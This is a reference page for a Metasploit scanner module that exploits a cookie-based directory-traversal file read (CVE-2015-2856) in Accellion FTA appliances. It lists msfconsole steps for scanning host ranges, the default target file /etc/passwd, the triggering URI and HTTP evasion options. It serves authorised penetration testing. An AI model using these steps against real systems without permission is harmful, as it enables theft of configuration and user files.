Accellion FTA 'statecode' Cookie Arbitrary File Read - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/accellion_fta_statecode_file_read metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Accellion FTA 'statecode' Cookie Arbitrary File Read
Module: auxiliary/scanner/http/accellion_fta_statecode_file_read
Source code: modules/auxiliary/scanner/http/accellion_fta_statecode_file_read.rb
Disclosure date: 2015-07-10
Last modification time: 2022-01-23 15:28:32 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: CVE-2015-2856, CVE-2015-2857
This module exploits a file disclosure vulnerability in the Accellion File Transfer appliance. This vulnerability is triggered when a user-provided 'statecode' cookie parameter is appended to a file path that is processed as a HTML template. By prepending this cookie with directory traversal sequence and appending a NULL byte, any file readable by the web user can be exposed. The web user has read access to a number of sensitive files, including the system configuration and files uploaded to the appliance by users. This issue was confirmed on version FTA_9_11_200, but may apply to previous versions as well. This issue was fixed in software update FTA_9_11_210.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
This module is a scanner module, and is capable of testing against multiple hosts.
msf > use auxiliary/scanner/http/accellion_fta_statecode_file_read
msf auxiliary(accellion_fta_statecode_file_read) > show options
... show and set options ...
msf auxiliary(accellion_fta_statecode_file_read) > set RHOSTS ip-range
msf auxiliary(accellion_fta_statecode_file_read) > exploit
Other examples of setting the RHOSTS option:
Example 1:
msf auxiliary(accellion_fta_statecode_file_read) > set RHOSTS 192.168.1.3-192.168.1.200
Example 2:
msf auxiliary(accellion_fta_statecode_file_read) > set RHOSTS 192.168.1.1/24
Example 3:
msf auxiliary(accellion_fta_statecode_file_read) > set RHOSTS file:/tmp/ip_list.txt
Required Options
- RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/accellion_fta_statecode_file_read auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/accellion_fta_statecode_file_read
msf6 auxiliary(scanner/http/accellion_fta_statecode_file_read) > show info
Name: Accellion FTA 'statecode' Cookie Arbitrary File Read
Module: auxiliary/scanner/http/accellion_fta_statecode_file_read
License: Metasploit Framework License (BSD)
Rank: Normal
Disclosed: 2015-07-10
Provided by:
hdm <[email protected]>
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true yes Use SSL
TARGETURI /courier/intermediate_login.html yes The URI to request that triggers a call to template()
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Description:
This module exploits a file disclosure vulnerability in the
Accellion File Transfer appliance. This vulnerability is triggered
when a user-provided 'statecode' cookie parameter is appended to a
file path that is processed as a HTML template. By prepending this
cookie with directory traversal sequence and appending a NULL byte,
any file readable by the web user can be exposed. The web user has
read access to a number of sensitive files, including the system
configuration and files uploaded to the appliance by users. This
issue was confirmed on version FTA_9_11_200, but may apply to
previous versions as well. This issue was fixed in software update
FTA_9_11_210.
References:
http://r-7.co/R7-2015-08
https://nvd.nist.gov/vuln/detail/CVE-2015-2856
Module Options
This is a complete list of options available in the scanner/http/accellion_fta_statecode_file_read auxiliary module:
msf6 auxiliary(scanner/http/accellion_fta_statecode_file_read) > show options
Module options (auxiliary/scanner/http/accellion_fta_statecode_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
FILEPATH /etc/passwd yes The path to the file to read
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true yes Use SSL
TARGETURI /courier/intermediate_login.html yes The URI to request that triggers a call to template()
THREADS 1 yes The number of concurrent threads (max one per host)
VHOST no HTTP server virtual host
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/accellion_fta_statecode_file_read auxiliary module:
msf6 auxiliary(scanner/http/accellion_fta_statecode_file_read) > show advanced
Module advanced options (auxiliary/scanner/http/accellion_fta_statecode_file_read):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN WORKSTATION yes The domain to use for Windows authentication
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
ShowProgress true yes Display progress messages during a scan
ShowProgressPercent 10 yes The interval in percent that progress should be shown
UserAgent Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) no The User-Agent header to use for all requests
VERBOSE false no Enable detailed status messages
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/accellion_fta_statecode_file_read module can do:
msf6 auxiliary(scanner/http/accellion_fta_statecode_file_read) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/accellion_fta_statecode_file_read auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/accellion_fta_statecode_file_read) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-random)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> Appears to be a patched Accellion FTA
Here is a relevant code snippet related to the "<PEER> Appears to be a patched Accellion FTA" error message:
56:
57: contents = res.body.to_s
58:
59: # Check for patched versions of the FTA
60: if contents =~ / Missing session ID.*Accellion, Inc/m
61: print_error("#{peer} Appears to be a patched Accellion FTA")
62: return
63: end
64:
65: fname = ::File.basename(datastore['FILEPATH'])
66:
Go back to menu.
Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #8716 Merged Pull Request: Print_Status -> Print_Good (And OCD bits 'n bobs)
- #8338 Merged Pull Request: Fix msf/core and self.class msftidy warnings
- #6655 Merged Pull Request: use MetasploitModule as a class name
- #6648 Merged Pull Request: Change metasploit class names
- #5694 Merged Pull Request: Modules for R7-2015-08 (Accellion FTA File Read & RCE)
References
See Also
Check also the following modules related to this module:
- exploit/linux/http/accellion_fta_getstatus_oauth
- exploit/linux/misc/accellion_fta_mpipe2
- auxiliary/admin/http/nexpose_xxe_file_read
- auxiliary/gather/rails_doubletap_file_read
- auxiliary/scanner/http/cassandra_web_file_read
- auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_duplicator_file_read
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/varnish/varnish_cli_file_read
- auxiliary/scanner/http/atlassian_crowd_fileaccess
- auxiliary/scanner/http/axis_local_file_include
- auxiliary/scanner/http/backup_file
- auxiliary/scanner/http/copy_of_file
- auxiliary/scanner/http/dnalims_file_retrieve
- auxiliary/scanner/http/es_file_explorer_open_port
- auxiliary/scanner/http/file_same_name_dir
- auxiliary/scanner/http/files_dir
- auxiliary/scanner/http/hp_imc_som_file_download
- auxiliary/scanner/http/hp_sitescope_getfileinternal_fileaccess
- auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess
- auxiliary/scanner/http/mediawiki_svg_fileaccess
- auxiliary/scanner/http/novell_file_reporter_fsfui_fileaccess
- auxiliary/scanner/http/novell_file_reporter_srs_fileaccess
- auxiliary/scanner/http/oracle_demantra_file_retrieval
- auxiliary/scanner/http/prev_dir_same_name_file
- auxiliary/scanner/http/symantec_brightmail_logfile
- auxiliary/scanner/http/wp_arbitrary_file_deletion
- auxiliary/scanner/http/zenworks_assetmanagement_fileaccess
- auxiliary/scanner/http/rfcode_reader_enum
- exploit/windows/browser/softartisans_getdrivename
Authors
- hdm
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.
